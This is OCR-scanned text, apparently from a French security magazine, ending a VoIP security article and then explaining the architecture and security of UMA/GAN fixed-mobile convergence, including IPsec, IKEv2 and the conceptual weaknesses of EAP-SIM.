I'objet d’évolutions. Nous en citons quelques-unes :

= Interfaces d’attaques : generateur de paquets qui récupére
et insére automatiquement les données dans un paquet a
envoyer.

= Interface de configuration : développement d'une IHM
permettant de paramétrer la plate-forme.

= Evolution de la plate-forme (en taille et en matériel) afin
d’'effectuer des tests de charge et de reproduire un réseau
VolP opérationnel. Les réflexions actuelles envisagent
de passer par des environnements de simulation massifs
permettant de simuler un trés grand nombre de serveurs et de
clients. Ces environnements sont en cours de développement
dans le cadre de la modélisation et I'étude de propagation a
grande échelle des vers informatiques.

= Etude des « capacités » de propagation virales de la
technologie VolP (hors vulnérabilités). Si certains scénarii
ont été définis au niveau théorique, il reste a les valider sur
le plan opérationnel.

Ce qu'a montré la plate-forme WHIZ et, avec elle, I'étude
de la sécurité de la VoIP, est, qu'au fond, cette technologie
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n'est conceptuellement pas différente des technologies
existantes : ainsi que le rappelle I'acronyme lui-méme, il s'agit
d'une utilisation particuliére d’IP. Cela implique, a moins de
découvertes a venir, mais, a notre sens, peu probables, gue rien
de vraiment nouveau n'est a attendre. Récemment, le groupe
The Grugq [17] a évoque d'autres attaques contre les annuaires
et plus généralement les infrastructures. Mais, la encore,

LE RISQUE VolIP

il n'y arien de novateur d’'un point de vue conceptuel : la
problématigue reste similaire a celle concernant une
infrastructure a clef publique (en poussant un peu les choses,
une donnée dans un annuaire VolP n'est-elle pas comparable,
en un certain sens, a une clef publique ?). |l reste évident
que, quelle que soit la technologie, la protection de son
architecture sous-jacente est un pré-requis incontournable.

[NO] Franck Blanchard et Laurent Saunois appartiennent également a la marine nationale.
[N1] Clin d'ceil a I'existant [1], WHIZ signifie « Wir Horen thnen Zu... und viel mehr» (nous vous écoutons et méme plus).
[N2] Depuis début 2007, le projet Trixbox (http:/fwww.trixbox.org), anciennement Asterix@home a mis a disposition une interface

graphigue d'administration et d'installation.
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Convergence Fixed-Mobile :
UMA (Unlicensed Mobile Access)
sur le devant de la scene ?

Les technologies de convergence fixe-mobile font beaucoup parler d’elles depuis quelques mois. La promesse d'un téléphone
unigque, d’'une messagerie et d'un carnet d’'adresses unifiés, ainsi qu’une grande simplicité d'utilisation semblent intéresser les
usagers du teléephone. Parmi les diverses solutions techniques, UMA (Unlicensed Mobile Access) a déja été choisi par plusieurs
opérateurs dans le monde. Cette technologie définit un standard pour la convergence voix-données, permettant 'acces au
réseau de 'opérateur par les technologies radio classiques (GSM) et par les technologies radio dites « non soumises a licence »,
c'est-a-dire le Bluetooth et le Wi-Fi. UMA offre des fonctions de « hand-over » transparentes entre ces réseaux. Cet article vise
a présenter les principes de la technologie UMA, et s'efforce d'apporter un éclairage technique sur les aspects « sécurité ».

mots clés : convergence / voix/donnée / architecture

La convergence fixed-mobile :
pourquoi, comment... ?

En l'espace de quelques annees, le nombre de téléphones par
personne a littéralement explosé. Tout utilisateur « branché »
dispose maintenant de 2, 3, voire plus, lignes telephonigues, et
terminaux associés : un teléephone portable classique de type
GSM, un bon vieux téléphone RTC « historique », et souvent,
un téléphone VolP venu se greffer a son abonnement Internet,
dans |le cadre de son offre triple play (Internet/TV/Téléphonie
VolP). On comprend alors facilement que les utilisateurs aient
des souhaits de convergence : disposer d'un seul terminal, qui
fonctionnerait de fagon transparente sur ces divers réseaux, en
offrant une messagerie unifiee, un repertoire unigue... tout cela
bien sar en beénéficiant si possible du meilleur tarif | C'est un peu
toutes ces promesses que nous propose la convergence « fixed-
mabile ». Les opérateurs, de leur cote, voient ainsi un moyen de
proposer de nouvelles offres a leurs clients, de faire un packaging
de services interessants (internet et GSM), et peuvent aussi utiliser
les équipements internet du client (la passerelle domestique) pour
étendre leur couverture radio. Généralement, en effet, ces offres
vont s'appuyer sur des télephones GSM bi-mode, supportant aussi
les protocoles WiFi et/ou Bluetooth. Le téléphone de I'usager,
lorsqu'il est dans un scénario favorable (a son domicile, devant un
hotspot...) va automatiguement basculer sur le mode secondaire,
et va alors vehiculer les appels sur le réseau Internet, via une
« connexion » WIiFi sur la passerelle Internet. Idealement, ce
fonctionnement se devra d'étre complétement transparent pour
l'usager, avec des possibilités de « seamfess handover » (c'est-a-
dire le basculement du réseau WiFi au reseau GSM et vice-versa
sans impact sur la joignabilité, ni sur les communications en cours
et disposant de tous ses services).

Les premieres notions de convergence ne sont pas nouvelles. Au
Danemark, pays souvent précurseur dans ce type de technologie,
une premiére offre de numéro de téléphone unique et messagerie
unifiée avait fait son apparition en 1997 (couplage d'une solution fixe
et GSM, mais pas de notion de handover). Mais c'est véritablement
le développement des puces WiFi basse consommation, ainsi que
l'arrivée massive des solutions de VolP qui ont permis l'avenement

d'une deuxiéme génération d'offres de convergence, a partir de
2004. Plus recemment (fin 2005), un operateur histarigue d'outre-
Manche a lancé une offre de convergence de type UMA s'appuyant
sur le protocole « Bluetooth » pour la liaison radio au domicile.
D'autres initiatives de ce type ont eté initiees un peu partout dans
le monde, s'appuyant essentiellement sur UMA.

Les principes d’'UMA

UMA (Unlicensed Mobile Access) est un standard initialement
developpe par un consortium d'opérateurs et d'eéquipementiers,
fondé en janvier 2004. Ce standard a évolué et est maintenant
supporte par le 3GPP (voir l'encadré sur le consortium) sous le
nom de GAN (Generic Access Network - voir encadre). UMA
spécifie une solution transparente de bascule entre 2 reseaux
d'acces de technologies differentes (Seamless Handover) :

= un réseau local reposant sur un protocole radio libre {en
pratique, bande des 2.4Ghz, WiFi et Bluetooth) ;

= |e réseau traditionnel WAN GSM/GPRS.

La solution est dite « transparente » dans le sens ou les
communications en cours ne sont pas interrompues, le client
dispose des mémes services sur 'un ou l'autre réseau.

En fait, ['utilisateur est equipe d'un teléphone UMA bi-mode,
capable a la fois d'établir une communication sur son interface
GSM classigue, mais aussi sur une interface de type WiFi
ou Bluetooth. En simplifiant I'UMA au maximum, on peut dire
que le telephone, lorsqu'il bascule en mode non-GSM, va
« encapsuler » la communication GSM dans un tunnel au-dessus
d'une connexion IP.

Comme l'indigue le schéma 1, le télephone peut .

= utiliser le reseau GSM classique, en se connectant sur une BTS
(Base Transceiver Station), afin d'accéder au coeur de réseau
de l'opérateur via un equipement appele le BSC (Base Stafion
Conlrolfer) ;

= fonctionner en mode UMA, et accéder au cceur de réseau de
l'opérateur via un tunnel IP connecte jusqua 'UNC (UMA Network
Conirolfer) permettant d'acceder au reseau ceeur.
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UMA specifie le mode de fonctionnement « non-GSM » du
telephone, ainsi que les mécanismes de basculement d'un
réseau a l'autre. Car, en effet, on comprend bien que le tunnel
IP établi entre le téléphone et I'UNC doit offrir un niveau de
securité adapté. Le fait d'offrir un accés au cceur de réseau de
l'opérateur depuis une connexion IP n'est envisageable gue si un
certain niveau de sécurité et de controle peut étre atteint... On
voit mal en effet les operateurs « ouvrir » une porte sur un réseau
si sensible. Un autre point trés important réside dans I'impact
du déploiement de l'architecture UMA sur un réseau GERAN/
ULTRAN classique : en effet, les évolutions a apporter doivent étre
mineures, voire nulles sur les éléments deja en place. Pour cela,
UMA specifie notamment les mécanismes a mettre en ceuvre.
Etla liste est longue...

UMA Functional Architecture

Architecture fonctionnelie d'UMA

Comme indiqué precédemment, UMA offre un accés au coeur de
réseau a travers des protocoles non soumis a licence (WiFi et BT).
Les points forts de la technologie UMA sont :

= fourniture d'un service Voix et data standard dans le mode
UMA ;

= identification identique de I'abonné sur le réseau GSM et
UMA ;

= handover transparent entre les réseaux GSM et UMA ;
& piveau de securite du mode UMA équivalent au mode GSM

= utilise une connexion internet de type « toujours active » comme
les connexions xDSL, cable, FTTH... ;

= aucun impact sur le reseau GSM existant.

Pour satisfaire tous ces besoins, un des points principaux de
I'UMA réside dans I'UNC, le contréleur UMA. Celui-ci va en effet
assurer |la terminaison du tunnel IP entre le terminal de |'utilisateur,
et l'interface avec le réseau ceeur GSM. Ainsi, 'UNC va étre vu
comme un BSC classique par le réseau opérateur. A ce titre, il
offre notamment les interfaces standards du monde GSM, a savoir
l'interface A (mode circuit) et I'interface Gb (mode paquet).

Pour assurer un niveau de sécurité et de confidentialité optimal, un
tunnel IPsec est établi entre le terminal utilisateur et 'UNC. C'est
dans ce tunnel que la connexion « GSM » est encapsulée.

Securite de 'UMA

UMA gere les mécanismes de basculement de réseau. Ainsi,
un téléphone GMS/UMA peut basculer de facon transparente
sur le reseau UMA des qu'il detecte un réseau WiFi offrant les
caractéristiques nécessaires. A ce moment-la, le terminal va
établir un tunnel IPsec avec une passerelle de sécurité localisée
dans I'UNC, puis va activer les mécanismes traditionnels
d'enregistrement sur le réseau GSM. Si l'enregistrement se déroule
normalement, le terminal devient alors connecté au reseau GSM
classique, a la petite différence qu'il est désormais joignable via
et uniguement par le tunnel IPsec établi préecédemment. Les
ressources du reseau d'accés GSM sont alors libérées.

Lorsque le terminal bouge, le signal WiFi va varier, jusqu'a ce
guéventuellement |e téléphone sorte de la zone de couverture
WiFi. A ce moment-Ia, le terminal va procéder a un handover
traditionnel, et se reconnecter via une BTS GSM sur un BSC
classigue. Vu du coeur de réseau et comme |'UNC est vu comme
une BSC « presque classique », cela n'a aucun impact (y compris
si une communication était en cours). On parle alors de « seamless
handover ». Les ressources mobilisées pour le tunnel IPsec avec
L'UNC sont alors libérées.

UMA dans le détail

Ci-dessus, nous avons détaillé d'un point de vue haut niveau le
fonctionnement d'UMA ; intéressons-nous maintenant aux détails
techniques...
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Dans les spécifications UMA, il est indiqué que le mode UMA doit
offrir un niveau de sécurité « au moins équivalent » au mode GSM.
Pour cela, plusieurs mécanismes de sécurité sont mis en place :

= Un tunnel IPsec fondé sur le mécanisme IKEv2 est établi entre
le terminal de I'utilisateur et la passerelle UMA UNC pour assurer
la confidentialité et l'authentification des acteurs. EAP-SIM permet
d'authentifier I'utilisateur, en se basant sur le secret résidant dans la
carte SIM du terminal de I'utilisateur. L'architecture UMA combine
ainsi le mécanisme d'authentification IKEv2 et le chiffrement offert
par IPsec afin d'établir un tunnel sécurisé entre le mobile et la
passerelle UMA (Voir encadré sur IKEv2).

= Le tunnel IPsec permet d'assurer la confidentialité et l'intégrité
des flux de données échangés a travers le tunnel IPsec. Ainsi, tous
les échanges entre le terminal de l'utilisateur et 'UNC sont chiffrés
se basant sur AES.

= La securite de la couche GSM traditionnelle, encapsulée dans
le tunnel IPsec (authentification A3/A8, chiffrement A5).

Ainsi lorsqu'un mobile atteint une zone couverte par le réseau
WIFI, la passerelle UMA doit d'abord chercher a authentifier le
terminal de l'utilisateur, en se basant sur le certificat présent dans
la carte SIM. Ensuite, le mobile du client est enregistré dans le
HLR, comme étant en roaming joignable via la passerelle UMA.

Ensuite, le client peut passer et recevoir des appels, a travers le
reseau d'accés WIF|, et ceci de maniére transparente en passant
du GSM vers le WIFI et vice versa.

L'authentification —

Acceés au réseau UMA

UMA requiert un certain nombre de mesures de sécurité, afin
d'assurer la protection de I'utilisateur et du réseau.

EAP SIM du
farminal

UMA Network
USER END Controller
I Réseau GPRS
SEGW INC SEEN
Carte SIM I
| Réseau GSM
Authentification g8 Media gateway I MsC
l

HLR

Fonctionnalités de securité dans UMA

Lorsque le terminal détecte un point d'acces UMA., un tunnel IPsec
sécurise est etabli vers un « UMA Controller » UNC.

Le terminal initie des negociations via IKEv2 avec la passerelle
de sécurité (SEGW sur la figure 4), afin d'établir une connexion
sécurisee avec 'UNC. Tout échange est ensuite sécurisé
grace au tunnel IPsec établi entre le terminal et la SEGW. Les
adresses IP des SEGW et UNC sont déja provisionnées au niveau
du terminal.

Convergence Fixe-Mobile : UMA

L'authentification du terminal est ensuite réalisée avec le serveur
58 AAA, via EAP-SIM a l'aide du secret stocké sur la carte SIM du

terminal. Il y a alors une authentification mutuelle entre le réseau
et le terminal. La SEGW sert de relais entre le serveur AAA et
le terminal, pour tous les messages EAP échangés au cours de
l'authentification.

Une adresse IP est ensuite attribuée au terminal dans le
réseau interne UMA. Par la suite, les paquets IP échangés
sont encapsulés | le protocole GSM dans IP (tcp/14001 pour
la signalisation, UDP pour le transport de la voix sur RTP et le
trafic GPRS).

La phase de découverte permet de déterminer les adresses IP
des SEGW et UNC qui vont effectivement intervenir lors de la
session UMA, La phase d'enregistrement UMA aupres de I'UNC
se déroule ensuite.

L'UNC desencapsule le trafic IP et le transmet au réseau coeur
GSM : le terminal apparait ainsi comme attaché au réseau d'acces
GSM.

La section suivante présente les grandes lignes du mécanisme
EAP-SIM.

Le protocole EAP-SIM est utilisé au sein d'UMA pour mettre en
ceuvre les meécanismes d'authentification.

l Quelques principes généraux sur EAP |

Extensible Authentication Protocol est une extension de PPP
(Point to Paint Protocol) en permettant diverses méthodes
d'authentification.

EAP est un standard |IETF (cf. [RFC 3748]) qui définit un
mécanisme d'authentification générique, c'est-a-dire des fonctions
communes (Request, Response, Failure, Success), permettant de
negocier un mecanisme d'authentification commun entre un client
et un serveur.

EAP est generalement utilisé pour les réseaux sans fil, et les
liaisons point a point. Méme si EAP commence a apparaitre dans
les architectures mettant en ceuvre des réseaux d'acces de type
filaire, il reste tout de méme majoritairement répandu parmi les
technologies de type WLAN.

Il existe jusqu'a 255 methodes EAP differentes, dont les plus
connues sont :

= Challenge MD5 avec EAP-MD5 ;
= Protocole SSL avec EAP-TLS :

= Utilisation des cartes a puce avec EAP-AKA (reposant sur
I'USIM) et EAP-SIM (utilisation des algorithmes GSM).

EAP est ainsi extensible, et s'adapte au protocole d'authentification
commun coté client et cote serveur. Selon les architectures
considérees, la flexibilité d'EAP peut constituer un atout majeur
si plusieurs technologies de réseau d'accés doivent étre
considérees en ouvrant la possibilité d'utiliser différentes méthodes
d'authentification. Aussi, un bémol doit étre indigué pour cette
fonctionnalité : en effet des mécanismes d'authentification ayant
des niveaux de securité bien différents peuvent étre mis en ceuvre,
et compromettre la sécurité du systeme.

Le schema suivant présente la structure protocolaire mettant en
ceuvre EAP :
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Me en ceuvre de EAP - vue generale des protocoles

Un mécanisme d'authentification spécifiqgue est négocie au cours
de la phase d'etablissement de la liaison entre le client et le
serveur. La méthode EAP ainsi établie, la phase d'authentification
se deroule selon le protocole négocie.

La figure suivante introduit les principales methodes EAP. On
considére 3 acteurs au niveau d'une authentification via EAP :

= homologue EAP (terminal avec la carte SIM) : client cherchant
a accéder a un réseau, et devant étre authentifie ;

= authentificateur EAP : point d'acces au réseau, réalisant
l'authentification de I'homologue EAP ;

= serveur d'authentification : négocie ['utilisation d'une méthode
EAP.

Lidentité d'un utilisateur est realisee en se basant sur un identifiant,
le NAI (Metwork Access Identifier. cf. [RFC 2486]) dont le format
est similaire a celui d'une adresse électronigue.

Le schéma suivant donne une vue generale des messages
échangés lors d'une procedure d'authentification EAP (peu importe
le protocole d'authentification négocié).

Homologus EAF Authenblicataur EAP Senvaur o suthentfcaton

sifRespanag floantite)

“ Mise en ceuvre de EAP - principaux messages echarnges

Tant que l'authentification n'est pas réalisee, seuls des messages
EAP peuvent éire échanges.

Focus sur EAP-SIM

Le standard IETF pour EAP-SIM est la [RFC 4186].

La figure suivante donne un apergu simplifie des messages
echangeés lors d'une procédure EAP-SIM :

Homatogie E&AF Authentificatewr EAR

Mise en ceuvre de EAP-SIM — principaux messages échangeés

EAP-SIM permet d'utiliser les cartes SIM GSM et linfrastructure
réseau GSM existante. Ce mécanisme d'authentification est
notamment utilisé pour les acces de type WLAN (IEEE 802 11i),
et pour divers types de devices tels que des terminaux clients,
PDA, cartes PC...

De base, EAP-SIM reposant sur la carte a puce, propose un bon
environnement de sécurité pour 'exécution de fonctions sensibles,
telles le stockage ou la dérivation de clés cryptographiques.

Authentification
EAP-SIM introduit aussi l'authentification du réseau, qui n'était pas
presente dans le GSM. L'authentification est ainsi mutuelle :

= La carte SIM hébergée par le terminal authentifie le reseau en
verifiant le MAC envoye par le reseau. La carte SIM ne répondra
ainsi pas en théorie a toute requéte formulée par une application
malicieuse tournant sur le terminal.

= Le réseau authentifie la valeur RES, calculée par la carte SIM
a partir du challenge regu.

De plus, 3 triplets GSM sont utilisés pour une seule session, ainsi le
résultat est en theorie plus puissant que |'utilisation d'un seul triplet
GSM lors d'une authentification GSM classigue. En effet, EAP-
SIM spécifie une fonction de derivation permettant d'obtenir une
clé de session de 128 bits a partir des clés de session de 64 bits
générées pour chaque triplet GSM. La force des clés produites
dépend également des differents parameétres utilisés, fournis par
l'opérateur.

Aussi, les sessions ne sont pas indépendantes les unes des autres.
En effet, rien ne permet de garantir que les triplets effectivement
genérés sont « uniques », et pas rejoues par le reseau.

Toutefois, un attaguant pourrait récupérer des triplets GSM et ainsi
les utiliser a ses fins. En effet, les parameétres Kc et RAND sont
transmis sur le réseau, et potentiellement compromis. Il est ainsi
possible, dés que 3 triplets GSM sont exposés de pouvoir se faire
passer indefinfiment pour le réseau, a l'oppose d'autres mecanismes
d'authentification comme EAP-AKA, ol l'authentification du réseau
repose sur un secret stocké sur la carte a puce et jamais transmis
sur le réseau.

L'utilisation des algorithmes GSM A3/A8 evolues avec la valeur
RAND regue du réseau permet de calculer la clé de session Kc.
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On peut lire dans divers présentations/papiers, etc. qu'EAP-SIM
fournit une sécurité avec un niveau de clé de 128 bits. Toutefols,
cette affirmation est souvent contredite par le fait que des
attagues de niveau 64 bits sont possibles. En effet, des triplets
peuvent exposer sur le reseau GSM, et de |a reduisent le niveau
de sécurité mis en ceuvre pour EAP-SIM (cf. brute force attack)
s'ils sont reutilisés. Une solution serait d'inclure des parameétres
supplémentaires au niveau de la dérivation de clé de session, mais
cela impliguerait une modification du protocole.

Pour plus d'informations sur les études de la sécurité d’'EAP-SIM :
http://www.drizzle.com/~aboba/EAP/AnalyisOfEAP.pdf.

EAP definit un mécanisme Fast ReAuthentication s'appuyant
sur le contexte de sécurité établi lors de la derniére procédure
d'authentification. Le but est de reduire les delais, en evitant de
refaire une authentification compléte, par exemple si le client se
trouve dans un réseau visite. Toutefois, les spécifications sur ce
point sont encore a |'état de draft et doivent étre éprouvees, et
impliguent de nouvelles contraintes notamment au niveau des
serveurs AAA, la notion d'accord de transfert des contextes de
securite entre les opérateurs. Ces aspects ont encore besoin d'étre
creusés, avant de pouvoir en cerner toute [a complexité.

Pour plus d'informations sur ce sujet : http://tools.ietf.orglid/
draft-vidya-eap-er-02.txt.

Protection de I'identité — IMSI

L'IMSI est un numéro unique et prive secret stocke dans la carte a
puce SIM/USIM permettant au réeseau respectivement 2G ou 3G
d'identifier un client.

EAP-SIM specifie un mécanisme afin de protéger I'|MSI au cours
de la procédure d'authentification, et éviter qu'il soit transmis en
clair. Toutefois, ce mécanisme n'est valable que si le réseau a déja
attribué un identifiant temporaire au terminal, et ainsi dans tous
les cas I'lMSI sera toujours expose lors du tout premier échange
EAP-SIM si le terminal ne posséde pas d'identifiant temporaire.
Toutefois, des mecanismes de sécurité additionnels comme
[PEAP] peuvent étre utilises afin de ne pas exposer 'IMSI.

Si l'identité doit étre réellement protegee, alors les mecanismes
proposes par EAP-SIM doivent étre couplés avec d'autres
meécanismes de protection, comme la mise en place de tunnels.

Confidentialité/Intégrité/Replay attack
protection
Les paquets EAP ne sont pas complétement protégés au niveau
confidentialité et intégrite. En effet, les messages EAP ne sont pas
chiffrés, et l'intégrité des messages EAP n'est assurée que si elle
est couplée avec d'autres mécanismes de protection.

Il est ainsi souvent recommandé d'ajouter un niveau de protection
supplémentaire. Par exemple, le standard IEEE 802 16e propose
de coupler EAP avec RSA (definissant une infrastructure a clé
publique), ou d'effectuer 2 fois le mecanisme d'authentification
EAP.

Comme évoqué dans la section sur I'authentification, un attaquant
peut accéder a des triplets et de la avoir les éléments nécessaires
pour écouter des flux de données utilisateur.

Les mécanismes de repflay protection reposent essentiellement sur
ceux mis en place par le GSM, et sont souvent remis en cause.

Des mécanismes de sécurité supplementaires sont généralement
implementés afin de protéger les messages echangés au niveau
EAP, en l'occurrence IKEv2 (cf. encadre sur IKEv2).

Performance

On peut toutefois observer que le concept générique de base
d'EAP joue en sa defaveur en matiére de performance. En
effet, EAP-SIM met en ceuvre quelques échanges de messages
supplémentaires, en comparaison a un schéma d'authentification
GSM ot un seul aller/retour est nécessaire. Ceci est di en partie
a l'utilisation du protocole EAP seul.

= EAP-SIM reutilise le mécanisme d'authentification spécifie
pour le GSM, et ajoute des améliorations permettant de pallier
les inconvenients majeurs du GSM : authentification réseau,
longueur de cle étendue de 64 a 128 bits dérivée de plusieurs
triplets GSM.

Toutefois EAP-SIM réutilise les triplets GSM, et ne fournit pas
de solution fiable contre le replay protection, et notamment la
possibilite pour un attaguant de se faire passer pour le reseau
vis-a-vis de la carte SIM. Des mécanismes de protection
supplémentaires couplés avec l'utilisation d'EAP-SIM permettraient
de limiter les risgues majeurs repertoriés.

Les paquets IP échangés au cours d'une communication basée
sur le protocole UMA sont chiffres en utilisant une authentification
IKEv2 et un algorithme de chiffrement IPSec ou quatre profils
différents sont supportés.

encadre 1

Internet Key Exchange IKEv2

IKE (Internet Key Exchange) est le mécanisme de gestion
de clé utilise par IPsec. IKE permet également I'échange
de parametres entre les 2 entités souhaitant communiquer,
aboutissant ainsi a I'établissement d'une association de
sécurité spécifiant le mode d'échange et de protection
des données.

Une association de sécurité est une combinaison de
differentes informations (clé négociee, protocole d'échange
sécurise, parametres de securite) définissant précisement
le mode d'échange d'informations -sécurisé- entre deux
entites. Chaque association de sécurite est identifiee de
maniere unique, de maniere a ce qu'une entite puisse en
établir plusieurs simultanément avec plusieurs entfités.

Fonctionnalites offertes par IKE de maniere generale :

= gere la négociation des parameétres utilisés pour IPsec
pour les associations de sécurite notamment ;

= gere les clés utilisées pour sécuriser les échanges et les
informations, pour l'authentification mutuelle des differentes
entités, en se basant soit sur des secrets partagés
(sensibles a I'attaque du dictionnaire) ou des clés publigues
comme RSA.

IKE fonctionne en deux étapes :

= Phase 1: les deux entités souhaitant communiquer
établissent un canal d'échange securisé. Sont négocies les
algorithmes de chiffrement et intégrité, ainsi que le mode
d'authentification qui seront utilises. Une 1% clé est générée
selon 3 modes possibles (secret partagé, chiffrement
asymétrique ou signature baseé sur Diffie-Hellman).
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encadre 2

Cette phase permet ainsi d'authentifier les identités des
deux entités, d'établir un secret partageé, et 'association de
securite (bidirectionnelle). Ce tunnel permet de protéger les
échanges de la phase 2.

= Phase 2 : les deux entités vont établir effectivement les
associations de sécurité pour établir le tunnel IPsec. Les
echanges sont authentifiés et protégés en confidentialité
et integrite grace au tunnel securisé établi lors de la
phase 1.

Il est a noter qu'il existe différents modes pour IKE,
permettant de limiter les échanges grace a des parameétres
de securité pré-négocies.

Il existe actuellement deux versions pour IKE : IKEv1 et
IKEvZ. IKEVZ a été congu avec pour objectif initial de clarifier
IKEv1 tout en prenant en compte les remarques formulées
a son encontre, afin de simplifier son implémentation et
d'apporter plus de flexibilite.

Tout comme IKEw1, IKEvZ assure 'authentification mutuelle
des deux entites souhaitant communiguer, I'établissement
d'associations de securité et de clés partagées.

La complexité et le manque d'efficacité d'IKEv1 ont
souvent eté évoqués, notamment dus aux différents modes
possibles et aux multiples messages échangés lors des
differentes phases. IKEv2 est ainsi une version simplifiee
d'IKEv1, ciblant plus une utilisation sur des VPN avec une
implementation plus facile en 4 paquets pour les 2 phases
decrites precédemment, contre 8 modes différents pour
IKEv1. Cette simplification a été tellement drastique que
IKEv2 n'est pas compatible avec IKEv1.

IKEv1 spécifie des mecanismes de protection en intégrité
et confidentialité des messages assez complexes et
marginaux. Ainsi, toujours dans un souci de simplification,
IKEv2 utilise les mémes mecanismes de protection
cryptographigues gue ceux utilises par IPsec — mode
ESP béneficiant ainsi des facilités de certification et
d'implémentation. La negociation des SA IPsec a également
ete simplifiee, et permet une certaine flexibilité quant aux
algorithmes utilisés pour la protection en confidentialité et
integrité.

Des mecanismes de fiabilité (codes erreur, acquittements
par exemple) ont, par ailleurs, été introduits, qui faisaient
défaut pour IKEv1 ol des situations de blocage dead state
étaient tout a fait envisageables.

IKEv2 beneficie également de mécanismes contre
les attaques de type DoS, de maniere a permetire a la
« victime » de vérifier difféerents parametres de requétes
qui lui sont adressées. Dans le cadre d'UMA, IKEv2 est le
mecanisme de gestion de clés obligatoire, utilisé lors de
I'établissement de la connexion IPsec.

Enfin, IKEv2, contrairement a IKEv1, peut permettre
['utilisation de meéthodes EAP pour l'authentification.
Dans le cadre d'UMA, cette fonctionnalité est obligatoire.
En creusant la RFC de IKEvZ, le support d'EAP est en
effet une fonctionnalité spécifiée, mais non obligatoire
(seul le support des certificats et de clefs partagés a été
rendu obligatoire}.

Pour plus d'informations sur IKEv2, [RFC 2409] et http://
www3.ietf.org/proceedings/01dec/slides/ipsec-
10.pdf.

3GPP

Le 3GPP (3rd Generation Partnership Project) est un
accord de collaboration établi en décembre 1998, entre
différents standards de télécommunications, connus comme
Organizational partners. Ces partenaires du Organizational
partners sont principalement ARIB, CCSA, ETSI, ATIS, TTA
et TTC.

Initialement, l'objectif du 3GPP était de produire des
specifications technigues, et rapports technigues pour le
systeme de réseau mobile de 3°™ genération, se basant
sur les cceurs de réseau GSM evolues et les technologies
de réseau d'acces supportées comme Universal Terrestrial
Radio Access (UTRA). Le 3GPP s'intéresse également aux
evolutions des spécifications techniques et des rapports du
GSM (Global System for Mobile communication) en tenant
compte des technologies de réseau d'accés évoluées telles
gue le GPRS (General Packet Radio Service).

Pour plus d'informations : http://www.3gpp.org/About/
about.htm.

Les versions des specifications 3GPP sont mises a jour
regulierement, de maniere a répondre aux exigences du
marché et fournir une base stable d'implementation aux
developpeurs.

= 2G/GSM ;

~ 1992 Phasel ;
= 1995 Phase 2 ;

= 2.5G/GPRS ;

=~ 1996 Release 96 ;
— 1997 Release 97 ;
= 1998 Release 98 ;

= 3G/UMTS ;

= 2000 Release 99 ;
2001 Release 4 ;
2002 Release 5 ;
2004 Release 6 ;
2007 Release 7 ;

| R S

= LTE (specifications ongoing) ;
= TBD Release 8.

Pour plus d'informations concernant les versions des
specifications 3GPP : hitp://www.3gpp.org/specs/releases.
htm.

Le 3GPP est organise selon la hiérarchie de groupes
suivante

= TSG Service and System Aspects (TSG SA) traite de
l'architecture globale et des différentes fonctionnalités de
services des systemes basés sur les spécifications du 3GPP.
Les différents sous-groupes doivent assurer la cohérence et la
maintenance des specifications pour les aspects architecture, la
définition des supports, etc., y compris les aspects facturation,
securité et administration de réseau.

= TSG Core Network (TSG CN) s'occupe des spécifications
du ceeur de réseau des systémes 3GPP, notamment I'évolution
du ceeur de réseau GSM. Cela concerne entre autres :
I'equipement utilisateur, le réseau ceeur, les protocoles radio
de niveau 3, l'interconnexion avec des réseaux tiers, etc.

6l
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specification

CN WG1
MMICCISM (1u)

GERAN WG1
Aacdio Aspects

RAN WG2
Radio Layer2
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GERAN WG2
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Services
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Managament
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Mobile Terminal
Conformance
Testing

TwaG2

Mobile Tarminal
Service &
Capabilities

TWG3
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Application Aspects

h Organisation fonctionnelle du 3GFFP

GERAN O&M sont egalement specifies.

=~ TSG Radio Access Networks (TSG RAN) se concentre sur la définition des fonctions, contraintes et interfaces du réseau UTRA et
plus précisément les aspects performance radio, couches physiques, 2 et 3 en UTRAN, spécification des interfaces lu, lub et lur.

= TSG GSM EDGE Radio Access Networks (TSG GERAN) spécifie les aspects accés radio de GSM/EDGE, notamment les
couches RF/1/2/3. Les tests de conformite concernant les stations de base GERAN et les terminaux, ainsi que les spécifications

= TSG Core Networks and Terminals (TSG T) se concentre sur la spécification des interfaces (physigue et logique) au niveau du
terminal, les capacités du terminal (environnements d'exécution par exemple) et la partie réseau cceur des systéemes 3GPP.
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en 2005 sous la référence GAN.

Pour plus d'informations sur ce sujel, cf. [TS 3GPP 43.318].

GAN (Generic Access Network) est défini par le 3GPP. Initialement connu sous le nom d'UMA, le standard fut adopté par le 3GPP

Ce standard definit une architecture de reseau sans fil permettant de définir un handover transparent, c'est-a-dire sans interruption
de communication voix/données en cours, entre un réseau local LAN de type 802.11, et un réseau étendu comme UMTS.

Cette technologie illustre concrétement le concept de convergence avec un seul terminal pour toutes les communications voix.
Toutefois, une telle fonctionnalité impose de nouvelles contraintes au niveau des terminaux, notamment bi-mode (Wifi et radio).

Bilan sécurité

UMA a éte penseé afin d'offrir un niveau de sécurité élevé,
et ne doit pas impacter le niveau de sécurité existant sur le
réseau de l'opérateur. Cependant, de par ses spécifications
et usages, cela n'est évidement pas possible : I'ajout d’un
nouvel acceés au réseau de l'opérateur ne peut pas étre
totalement transparent, et aura forcement des conséquences
sur la sécurité globale...

Les points suivants peuvent étre cités...

© La passerelle UNC est accessible depuis internet et
constitue donc une porte d'entrée vers le réseau cceur de
I'opérateur. Il est ainsi important de mettre en place les
mécanismes nécessaires au niveau de cette passerelle, afin
de n'autoriser que les messages « utiles ».

= Les passerelles d'accés au réseau cceur constituent ainsi
des points stratégiques de I'architecture UMA. Des moyens
adaptes, avec des régles de filtrage personnalisées selon les
besoins, doivent étre mis en place pour protéger les points
d'entréee du réseau cceur, afin d'éviter des attaques de type
DoS.

= Le flux de requétes de I'UNC vers le HLR doit étre contrélé.
En effet, le HLR est un élement critique sur le réseau de
I'operateur, car il est en charge de 'authentification de
tous les abonnés. Une indisponibilité de ce serveur serait
evidemment critique...

D'autres élements moins « techniques » doivent aussi étre pris
en comptie. En effet, si on s'intéresse au modéle de sécurité
du GSM, plusieurs poinis font que cette solution marche
relativement bien, en ne souffrant que de peu de problemes
de securité. Il est clair que les opérateurs et équipementiers
ont la main mise sur la partie « GSM » et le protocole. A ce
jour, il est encore trés difficile de disposer d'un client GSM
« soff ». Cela pourrait changer rapidement, avec l'arrivée déja
annonceée de « softphone » (client logiciel) UMA, permettant
ainsi, depuis un PC « classique » et d'un lecteur de carte a
puce, d'utiliser une SIM GSM pour téléphoner avec son
ordinateur. Il devient ainsi potentiellement possible, depuis
ce PC, d’'accéder assez profondément au ceeur de réseau de
I'opérateur. Celui-ci est certes bien sécurisé, mais, en offrant
une ouverture plus importante, le niveau de risque va alors
forcément croitre...

